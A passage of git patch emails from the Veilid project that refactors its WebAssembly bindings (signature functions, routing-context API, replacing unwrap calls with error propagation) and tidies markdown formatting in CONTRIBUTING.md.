b/veilid-core/src/veilid_api/types/dht/dht_record_descriptor.rs @@ -10,16 +10,14 @@ use super::*; pub struct DHTRecordDescriptor { /// DHT Key = Hash(ownerKeyKind) of: [ ownerKeyValue, schema ] #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] key: TypedKey, /// The public key of the owner #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] owner: PublicKey, /// If this key is being created: Some(the secret key of the owner) /// If this key is just being opened: None #[schemars(with = "Option")] - #[cfg_attr(target_arch = "wasm32", tsify(optional, type = "string"))] + #[cfg_attr(target_arch = "wasm32", tsify(optional))] owner_secret: Option, /// The schema in use associated with the key schema: DHTSchema, diff --git a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs index d6da5ea6..b14ed67c 100644 --- a/veilid-core/src/veilid_api/types/dht/schema/smpl.rs +++ b/veilid-core/src/veilid_api/types/dht/schema/smpl.rs @@ -6,7 +6,6 @@ use super::*; pub struct DHTSchemaSMPLMember { /// Member key #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub m_key: PublicKey, /// Member subkey count pub m_cnt: u16, diff --git a/veilid-core/src/veilid_api/types/dht/value_data.rs b/veilid-core/src/veilid_api/types/dht/value_data.rs index 98f73910..e43b9b2b 100644 --- a/veilid-core/src/veilid_api/types/dht/value_data.rs +++ b/veilid-core/src/veilid_api/types/dht/value_data.rs @@ -15,7 +15,6 @@ pub struct ValueData { /// The public identity key of the writer of the data #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] writer: PublicKey, } from_impl_to_jsvalue!(ValueData); diff --git a/veilid-core/src/veilid_api/types/fourcc.rs b/veilid-core/src/veilid_api/types/fourcc.rs index 21f8db50..5995c1b5 100644 --- a/veilid-core/src/veilid_api/types/fourcc.rs +++ b/veilid-core/src/veilid_api/types/fourcc.rs @@ -4,7 +4,6 @@ use super::*; #[derive( Copy, Default, Clone, Hash, PartialOrd, Ord, PartialEq, Eq, Serialize, Deserialize, JsonSchema, )] -#[cfg_attr(target_arch = "wasm32", derive(Tsify))] #[serde(try_from = "String")] #[serde(into = "String")] pub struct FourCC(pub [u8; 4]); diff --git a/veilid-core/src/veilid_api/types/veilid_state.rs b/veilid-core/src/veilid_api/types/veilid_state.rs index 6c3b4e60..49b180c9 100644 --- a/veilid-core/src/veilid_api/types/veilid_state.rs +++ b/veilid-core/src/veilid_api/types/veilid_state.rs @@ -83,10 +83,8 @@ pub struct VeilidStateNetwork { #[cfg_attr(target_arch = "wasm32", derive(Tsify))] pub struct VeilidRouteChange { #[schemars(with = "Vec")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub dead_routes: Vec, #[schemars(with = "Vec")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub dead_remote_routes: Vec, } @@ -100,7 +98,6 @@ pub struct VeilidStateConfig { #[cfg_attr(target_arch = "wasm32", derive(Tsify))] pub struct VeilidValueChange { #[schemars(with = "String")] - #[cfg_attr(target_arch = "wasm32", tsify(type = "string"))] pub key: TypedKey, pub subkeys: Vec, pub count: u32, diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index 77767ea5..b949f527 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -246,11 +246,6 @@ pub fn change_log_level(layer: String, log_level: String) { } } -#[wasm_bindgen(typescript_custom_section)] -const IUPDATE_VEILID_FUNCTION: &'static str = r#" -type UpdateVeilidFunction = (event: VeilidUpdate) => void; -"#; - #[wasm_bindgen()] pub fn startup_veilid_core(update_callback_js: Function, json_config: String) -> Promise { let update_callback_js = SendWrapper::new(update_callback_js); diff --git a/veilid-wasm/src/veilid_client_js.rs b/veilid-wasm/src/veilid_client_js.rs index 0629adb9..e89103cb 100644 --- a/veilid-wasm/src/veilid_client_js.rs +++ b/veilid-wasm/src/veilid_client_js.rs @@ -3,7 +3,16 @@ use super::*; #[wasm_bindgen(typescript_custom_section)] const IUPDATE_VEILID_FUNCTION: &'static str = r#" -type UpdateVeilidFunction = (event: VeilidUpdate) => void; +export type UpdateVeilidFunction = (event: VeilidUpdate) => void; + +// Type overrides for structs that always get serialized by serde. +export type CryptoKey = string; +export type Nonce = string; +export type Signature = string; +export type KeyPair = `${PublicKey}:${SecretKey}`; +export type FourCC = "NONE" | "VLD0" | string; +export type CryptoTyped = `${FourCC}:${TCryptoKey}`; +export type CryptoTypedGroup = Array>; "#; #[wasm_bindgen] diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index 350bac32..ada65c4b 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -1,12 +1,6 @@ #![allow(non_snake_case)] use super::*; -#[wasm_bindgen] -extern "C" { - #[wasm_bindgen(typescript_type = "string[]")] - pub type ValidCryptoKinds; -} - #[wasm_bindgen(js_name = veilidCrypto)] pub struct VeilidCrypto {} @@ -196,7 +190,59 @@ impl VeilidCrypto { APIResult::Ok(out.to_string()) } - pub fn generateKeyPair(kind: String) -> APIResult { + pub fn verifySignatures( + node_ids: StringArray, + data: String, + signatures: StringArray, + ) -> VeilidAPIResult { + let node_ids = into_unchecked_string_vec(node_ids); + let node_ids: Vec = node_ids + .iter() + .map(|k| veilid_core::TypedKey::from_str(k).unwrap()) + .collect(); + + let data: Vec = data_encoding::BASE64URL_NOPAD + .decode(data.as_bytes()) + .unwrap(); + + let typed_signatures = into_unchecked_string_vec(signatures); + let typed_signatures: Vec = typed_signatures + .iter() + .map(|k| veilid_core::TypedSignature::from_str(k).unwrap()) + .collect(); + + let veilid_api = get_veilid_api()?; + let crypto = veilid_api.crypto()?; + let out = crypto.verify_signatures(&node_ids, &data, &typed_signatures)?; + let out = out + .iter() + .map(|item| item.to_string()) + .collect::>(); + let out = into_unchecked_string_array(out); + APIResult::Ok(out) + } + + pub fn generateSignatures(data: String, key_pairs: StringArray) -> APIResult { + let data: Vec = data_encoding::BASE64URL_NOPAD + .decode(data.as_bytes()) + .unwrap(); + + let key_pairs = into_unchecked_string_vec(key_pairs); + let key_pairs: Vec = key_pairs + .iter() + .map(|k| veilid_core::TypedKeyPair::from_str(k).unwrap()) + .collect(); + + let veilid_api = get_veilid_api()?; + let crypto = veilid_api.crypto()?; + let out = crypto.generate_signatures(&data, &key_pairs, |k, s| { + veilid_core::TypedSignature::new(k.kind, s).to_string() + })?; + let out = into_unchecked_string_array(out); + APIResult::Ok(out) + } + + pub fn generateKeyPair(kind: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let veilid_api = get_veilid_api()?; @@ -209,6 +255,7 @@ impl VeilidCrypto { ) })?; let out = crypto_system.generate_keypair(); + let out = out.encode(); APIResult::Ok(out) } diff --git a/veilid-wasm/src/veilid_routing_context_js.rs b/veilid-wasm/src/veilid_routing_context_js.rs index 50db6fe7..45183655 100644 --- a/veilid-wasm/src/veilid_routing_context_js.rs +++ b/veilid-wasm/src/veilid_routing_context_js.rs @@ -3,70 +3,23 @@ use super::*; #[wasm_bindgen()] pub struct VeilidRoutingContext { - inner_routing_context: Option, + inner_routing_context: RoutingContext, } #[wasm_bindgen()] impl VeilidRoutingContext { - /// Don't use this constructor directly. - /// Use one of the `VeilidRoutingContext.create___()` factory methods instead. - /// @deprecated + /// Create a new VeilidRoutingContext, without any privacy or sequencing settings. #[wasm_bindgen(constructor)] - pub fn new() -> Self { - Self { - inner_routing_context: None, - } - } - - // -------------------------------- - // Constructor factories - // -------------------------------- - - /// Get a new RoutingContext object to use to send messages over the Veilid network. - pub fn createWithoutPrivacy() -> APIResult { + pub fn new() -> APIResult { let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context(); - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: veilid_api.routing_context(), }) } - /// Turn on sender privacy, enabling the use of safety routes. - /// - /// Default values for hop count, stability and sequencing preferences are used. - /// - /// Hop count default is dependent on config, but is set to 1 extra hop. - /// Stability default is to choose 'low latency' routes, preferring them over long-term reliability. - /// Sequencing default is to have no preference for ordered vs unordered message delivery - /// To modify these defaults, use `VeilidRoutingContext.createWithCustomPrivacy()`. - pub fn createWithPrivacy() -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context().with_privacy()?; - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) - } - - /// Turn on privacy using a custom `SafetySelection` - pub fn createWithCustomPrivacy( - safety_selection: SafetySelection, - ) -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api - .routing_context() - .with_custom_privacy(safety_selection)?; - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) - } - - /// Use a specified `Sequencing` preference, with or without privacy. - pub fn createWithSequencing(sequencing: Sequencing) -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context().with_sequencing(sequencing); - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) + /// Same as `new VeilidRoutingContext()` except easier to chain. + pub fn create() -> APIResult { + VeilidRoutingContext::new() } // -------------------------------- @@ -87,6 +40,18 @@ impl VeilidRoutingContext { APIResult::Ok(route_blob) } + /// Import a private route blob as a remote private route. + /// + /// Returns a route id that can be used to send private messages to the node creating this route. + pub fn importRemotePrivateRoute(&self, blob: String) -> APIResult { + let blob: Vec = data_encoding::BASE64URL_NOPAD + .decode(blob.as_bytes()) + .unwrap(); + let veilid_api = get_veilid_api()?; + let route_id = veilid_api.import_remote_private_route(blob)?; + APIResult::Ok(route_id) + } + /// Allocate a new private route and specify a specific cryptosystem, stability and sequencing preference. /// Returns a route id and a publishable 'blob' with the route encrypted with each crypto kind. /// Those nodes importing the blob will have their choice of which crypto kind to use. @@ -110,7 +75,7 @@ impl VeilidRoutingContext { /// /// This will deactivate the route and free its resources and it can no longer be sent to or received from. pub fn releasePrivateRoute(route_id: String) -> APIResult<()> { - let route_id: veilid_core::RouteId = veilid_core::deserialize_json(&route_id).unwrap(); + let route_id: veilid_core::RouteId = RouteId::from_str(&route_id)?; let veilid_api = get_veilid_api()?; veilid_api.release_private_route(route_id)?; APIRESULT_UNDEFINED @@ -139,10 +104,43 @@ impl VeilidRoutingContext { // Instance methods // -------------------------------- fn getRoutingContext(&self) -> APIResult { - let Some(routing_context) = &self.inner_routing_context else { - return APIResult::Err(veilid_core::VeilidAPIError::generic("Unable to getRoutingContext instance. inner_routing_context is None.")); - }; - APIResult::Ok(routing_context.clone()) + APIResult::Ok(self.inner_routing_context.clone()) + } + + /// Turn on sender privacy, enabling the use of safety routes. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + /// + /// Default values for hop count, stability and sequencing preferences are used. + /// + /// Hop count default is dependent on config, but is set to 1 extra hop. + /// Stability default is to choose 'low latency' routes, preferring them over long-term reliability. + /// Sequencing default is to have no preference for ordered vs unordered message delivery + pub fn withPrivacy(&self) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_privacy()?, + }) + } + + /// Turn on privacy using a custom `SafetySelection`. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + pub fn withCustomPrivacy( + &self, + safety_selection: SafetySelection, + ) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_custom_privacy(safety_selection)?, + }) + } + + /// Use a specified `Sequencing` preference. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + pub fn withSequencing(&self, sequencing: Sequencing) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_sequencing(sequencing), + }) } /// App-level unidirectional message that does not expect any value to be returned. diff --git a/veilid-wasm/src/wasm_helpers.rs b/veilid-wasm/src/wasm_helpers.rs index f8e93468..84a52069 100644 --- a/veilid-wasm/src/wasm_helpers.rs +++ b/veilid-wasm/src/wasm_helpers.rs @@ -36,3 +36,13 @@ pub(crate) fn into_unchecked_string_array(items: Vec) -> StringArray { .collect::() .unchecked_into::() // TODO: can I do this a better way? } + +/// Convert a StringArray (`js_sys::Array` with the type of `string[]`) into `Vec` +pub(crate) fn into_unchecked_string_vec(items: StringArray) -> Vec { + items + .unchecked_into::() + .to_vec() + .into_iter() + .map(|i| serde_wasm_bindgen::from_value(i).unwrap()) + .collect::>() +} From ac8bbe9a835ebe45e495f34ae8fc141dbb0445c1 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Tue, 12 Sep 2023 08:06:49 -0400 Subject: [PATCH 15/86] Replace .unwrap() with ? operator --- veilid-wasm/src/lib.rs | 9 +- veilid-wasm/src/veilid_crypto_js.rs | 122 +++++++++---------- veilid-wasm/src/veilid_routing_context_js.rs | 31 ++--- veilid-wasm/src/veilid_table_db_js.rs | 22 ++-- 4 files changed, 88 insertions(+), 96 deletions(-) diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index b949f527..fa87391c 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -66,10 +66,15 @@ fn take_veilid_api() -> Result Vec { +pub fn unmarshall(b64: String) -> APIResult> { data_encoding::BASE64URL_NOPAD .decode(b64.as_bytes()) - .unwrap() + .map_err(|e| { + VeilidAPIError::generic(format!( + "error decoding base64url string '{}' into bytes: {}", + b64, e + )) + }) } pub fn marshall(data: &Vec) -> String { diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index ada65c4b..e12a1978 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -93,12 +93,8 @@ impl VeilidCrypto { pub fn hashPassword(kind: String, password: String, salt: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); - let salt: Vec = data_encoding::BASE64URL_NOPAD - .decode(salt.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; + let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -119,9 +115,7 @@ impl VeilidCrypto { password_hash: String, ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -138,12 +132,8 @@ impl VeilidCrypto { pub fn deriveSharedSecret(kind: String, password: String, salt: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); - let salt: Vec = data_encoding::BASE64URL_NOPAD - .decode(salt.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; + let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -196,20 +186,34 @@ impl VeilidCrypto { signatures: StringArray, ) -> VeilidAPIResult { let node_ids = into_unchecked_string_vec(node_ids); - let node_ids: Vec = node_ids + let node_ids: Vec = node_ids .iter() - .map(|k| veilid_core::TypedKey::from_str(k).unwrap()) - .collect(); + .map(|k| { + veilid_core::TypedKey::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "verifySignatures()", + format!("error decoding nodeid in node_ids[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data: Vec = unmarshall(data)?; let typed_signatures = into_unchecked_string_vec(signatures); - let typed_signatures: Vec = typed_signatures + let typed_signatures: Vec = typed_signatures .iter() - .map(|k| veilid_core::TypedSignature::from_str(k).unwrap()) - .collect(); + .map(|k| { + TypedSignature::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "verifySignatures()", + format!("error decoding keypair in key_pairs[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -223,15 +227,21 @@ impl VeilidCrypto { } pub fn generateSignatures(data: String, key_pairs: StringArray) -> APIResult { - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let key_pairs = into_unchecked_string_vec(key_pairs); - let key_pairs: Vec = key_pairs + let key_pairs: Vec = key_pairs .iter() - .map(|k| veilid_core::TypedKeyPair::from_str(k).unwrap()) - .collect(); + .map(|k| { + veilid_core::TypedKeyPair::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "generateSignatures()", + format!("error decoding keypair in key_pairs[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -262,9 +272,7 @@ impl VeilidCrypto { pub fn generateHash(kind: String, data: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -301,9 +309,7 @@ impl VeilidCrypto { pub fn validateHash(kind: String, data: String, hash: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let hash: veilid_core::HashDigest = veilid_core::HashDigest::from_str(&hash)?; @@ -345,9 +351,7 @@ impl VeilidCrypto { let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; let secret: veilid_core::SecretKey = veilid_core::SecretKey::from_str(&secret)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -362,9 +366,7 @@ impl VeilidCrypto { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let signature: veilid_core::Signature = veilid_core::Signature::from_str(&signature)?; let veilid_api = get_veilid_api()?; @@ -401,20 +403,16 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let body = unmarshall(body)?; let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data: Option> = associated_data.map(|ad| { - data_encoding::BASE64URL_NOPAD - .decode(ad.as_bytes()) - .unwrap() - }); + let associated_data = associated_data + .map(|ad| unmarshall(ad)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -447,20 +445,16 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce).unwrap(); + let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = - veilid_core::SharedSecret::from_str(&shared_secret).unwrap(); + veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data: Option> = associated_data.map(|ad| { - data_encoding::BASE64URL_NOPAD - .decode(ad.as_bytes()) - .unwrap() - }); + let associated_data: Option> = associated_data + .map(|ad| unmarshall(ad)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -492,14 +486,12 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let mut body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let mut body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce).unwrap(); + let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = - veilid_core::SharedSecret::from_str(&shared_secret).unwrap(); + veilid_core::SharedSecret::from_str(&shared_secret)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; diff --git a/veilid-wasm/src/veilid_routing_context_js.rs b/veilid-wasm/src/veilid_routing_context_js.rs index 45183655..9707c0be 100644 --- a/veilid-wasm/src/veilid_routing_context_js.rs +++ b/veilid-wasm/src/veilid_routing_context_js.rs @@ -44,9 +44,7 @@ impl VeilidRoutingContext { /// /// Returns a route id that can be used to send private messages to the node creating this route. pub fn importRemotePrivateRoute(&self, blob: String) -> APIResult { - let blob: Vec = data_encoding::BASE64URL_NOPAD - .decode(blob.as_bytes()) - .unwrap(); + let blob = unmarshall(blob)?; let veilid_api = get_veilid_api()?; let route_id = veilid_api.import_remote_private_route(blob)?; APIResult::Ok(route_id) @@ -86,7 +84,7 @@ impl VeilidRoutingContext { /// * `call_id` - specifies which call to reply to, and it comes from a VeilidUpdate::AppCall, specifically the VeilidAppCall::id() value. /// * `message` - is an answer blob to be returned by the remote node's RoutingContext::app_call() function, and may be up to 32768 bytes pub async fn appCallReply(call_id: String, message: String) -> APIResult<()> { - let message = unmarshall(message); + let message = unmarshall(message)?; let call_id = match call_id.parse() { Ok(v) => v, Err(e) => { @@ -152,7 +150,7 @@ impl VeilidRoutingContext { #[wasm_bindgen(skip_jsdoc)] pub async fn appMessage(&self, target_string: String, message: String) -> APIResult<()> { let routing_context = self.getRoutingContext()?; - let message = unmarshall(message); + let message = unmarshall(message)?; let veilid_api = get_veilid_api()?; let target = veilid_api.parse_as_target(target_string).await?; @@ -169,7 +167,7 @@ impl VeilidRoutingContext { /// @returns an answer blob of up to `32768` bytes, base64Url encoded. #[wasm_bindgen(skip_jsdoc)] pub async fn appCall(&self, target_string: String, request: String) -> APIResult { - let request: Vec = unmarshall(request); + let request: Vec = unmarshall(request)?; let routing_context = self.getRoutingContext()?; let veilid_api = get_veilid_api()?; @@ -215,11 +213,10 @@ impl VeilidRoutingContext { key: String, writer: Option, ) -> APIResult { - let key = TypedKey::from_str(&key).unwrap(); - let writer = match writer { - Some(writer) => Some(KeyPair::from_str(&writer).unwrap()), - _ => None, - }; + let key = TypedKey::from_str(&key)?; + let writer = writer + .map(|writer| KeyPair::from_str(&writer)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let routing_context = self.getRoutingContext()?; let dht_record_descriptor = routing_context.open_dht_record(key, writer).await?; @@ -230,7 +227,7 @@ impl VeilidRoutingContext { /// /// Closing a record allows you to re-open it with a different routing context pub async fn closeDhtRecord(&self, key: String) -> APIResult<()> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; routing_context.close_dht_record(key).await?; APIRESULT_UNDEFINED @@ -242,7 +239,7 @@ impl VeilidRoutingContext { /// Deleting a record does not delete it from the network, but will remove the storage of the record locally, /// and will prevent its value from being refreshed on the network by this node. pub async fn deleteDhtRecord(&self, key: String) -> APIResult<()> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; routing_context.delete_dht_record(key).await?; APIRESULT_UNDEFINED @@ -260,7 +257,7 @@ impl VeilidRoutingContext { subKey: u32, forceRefresh: bool, ) -> APIResult> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; let res = routing_context .get_dht_value(key, subKey, forceRefresh) @@ -278,10 +275,8 @@ impl VeilidRoutingContext { subKey: u32, data: String, ) -> APIResult> { - let key = TypedKey::from_str(&key).unwrap(); - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(&data.as_bytes()) - .unwrap(); + let key = TypedKey::from_str(&key)?; + let data = unmarshall(data)?; let routing_context = self.getRoutingContext()?; let res = routing_context.set_dht_value(key, subKey, data).await?; diff --git a/veilid-wasm/src/veilid_table_db_js.rs b/veilid-wasm/src/veilid_table_db_js.rs index 2a8c235a..f1fb86c3 100644 --- a/veilid-wasm/src/veilid_table_db_js.rs +++ b/veilid-wasm/src/veilid_table_db_js.rs @@ -63,11 +63,11 @@ impl VeilidTableDB { /// Read a key from a column in the TableDB immediately. pub async fn load(&mut self, columnId: u32, key: String) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key); + let key = unmarshall(key)?; let table_db = self.getTableDB()?; - let out = table_db.load(columnId, &key).await?.unwrap(); - let out = Some(marshall(&out)); + let out = table_db.load(columnId, &key).await?; + let out = out.map(|out| marshall(&out)); APIResult::Ok(out) } @@ -75,8 +75,8 @@ impl VeilidTableDB { /// Performs a single transaction immediately. pub async fn store(&mut self, columnId: u32, key: String, value: String) -> APIResult<()> { self.ensureOpen().await; - let key = unmarshall(key); - let value = unmarshall(value); + let key = unmarshall(key)?; + let value = unmarshall(value)?; let table_db = self.getTableDB()?; table_db.store(columnId, &key, &value).await?; @@ -86,11 +86,11 @@ impl VeilidTableDB { /// Delete key with from a column in the TableDB. pub async fn delete(&mut self, columnId: u32, key: String) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key); + let key = unmarshall(key)?; let table_db = self.getTableDB()?; - let out = table_db.delete(columnId, &key).await?.unwrap(); - let out = Some(marshall(&out)); + let out = table_db.delete(columnId, &key).await?; + let out = out.map(|out| marshall(&out)); APIResult::Ok(out) } @@ -161,15 +161,15 @@ impl VeilidTableDBTransaction { /// Store a key with a value in a column in the TableDB. /// Does not modify TableDB until `.commit()` is called. pub fn store(&self, col: u32, key: String, value: String) -> APIResult<()> { - let key = unmarshall(key); - let value = unmarshall(value); + let key = unmarshall(key)?; + let value = unmarshall(value)?; let transaction = self.getTransaction()?; transaction.store(col, &key, &value) } /// Delete key with from a column in the TableDB pub fn deleteKey(&self, col: u32, key: String) -> APIResult<()> { - let key = unmarshall(key); + let key = unmarshall(key)?; let transaction = self.getTransaction()?; transaction.delete(col, &key) } From 72c1b38d0d61abf284cf0a7393056cfd42a33621 Mon Sep 17 00:00:00 2001 From: Kyle H Date: Tue, 12 Sep 2023 13:06:11 +0000 Subject: [PATCH 16/86] fix markdownlint warnings in CONTRIBUTING.md Used VSCode markdownlint utility to identify and correct syntax errors. --- CONTRIBUTING.md | 74 ++++++++++++++++++++++++------------------------- 1 file changed, 36 insertions(+), 38 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9cf8b4a4..9d8e949e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,8 +1,9 @@ # Contributing to Veilid + Before you get started, please review our [Code of Conduct](./code_of_conduct.md). We're here to make things better and we cannot do that without treating each other with respect. - ## Code Contributions + To begin crafting code to contribute to the Veilid project, first set up a [development environment](./DEVELOPMENT.md). [Fork] and clone the project into your workspace; check out a new local branch and name it in a way that describes the work being done. This is referred to as a [feature branch]. Some contributions might introduce changes that are incompatible with other existing nodes. In this case it is recommended to also set a development network *Guide Coming Soon*. @@ -11,63 +12,60 @@ Once you have added your new function or addressed a bug, test it locally to ens We try to consider all merge requests fairly and with attention deserving to those willing to put in time and effort, but if you do not follow these rules, your contribution will be closed. We strive to ensure that the code joining the main branch is written to a high standard. - -### Code Contribution Do's & Don'ts: +### Code Contribution Do's & Don'ts Keeping the following in mind gives your contribution the best chance of landing! -#### Merge Requests - -* **Do** start by [forking] the project. -* **Do** create a [feature branch] to work on instead of working directly on `main`. This helps to: - * Protect the process. - * Ensures users are aware of commits on the branch being considered for merge. - * Allows for a location for more commits to be offered without mingling with other contributor changes. - * Allows contributors to make progress while a MR is still being reviewed. -* **Do** follow the [50/72 rule] for Git commit messages. -* **Do** target your merge request to the **main branch**. -* **Do** specify a descriptive title to make searching for your merge request easier. -* **Do** list [verification steps] so your code is testable. -* **Do** reference associated issues in your merge request description. -* **Don't** leave your merge request description blank. -* **Don't** abandon your merge request. Being responsive helps us land your code faster. -* **Don't** submit unfinished code. - +#### Merge Requests +- **Do** start by [forking] the project. +- **Do** create a [feature branch] to work on instead of working directly on `main`. This helps to: + - Protect the process. + - Ensures users are aware of commits on the branch being considered for merge. + - Allows for a location for more commits to be offered without mingling with other contributor changes. + - Allows contributors to make progress while a MR is still being reviewed. +- **Do** follow the [50/72 rule] for Git commit messages. +- **Do** target your merge request to the **main branch**. +- **Do** specify a descriptive title to make searching for your merge request easier. +- **Do** list [verification steps] so your code is testable. +- **Do** reference associated issues in your merge request description. +- **Don't** leave your merge request description blank. +- **Don't** abandon your merge request. Being responsive helps us land your code faster. +- **Don't** submit unfinished code. ## Contributions Without Writing Code + There are numerous ways you can contribute to the growth and success of the Veilid project without writing code: - - If you want to submit merge requests, begin by [forking] the project and checking out a new local branch. Name your new branch in a way that describes the work being done. This is referred to as a [feature branch]. - - Submit bugs as well as feature/enhancement requests. Letting us know you found a bug, have an idea for a new feature, or see 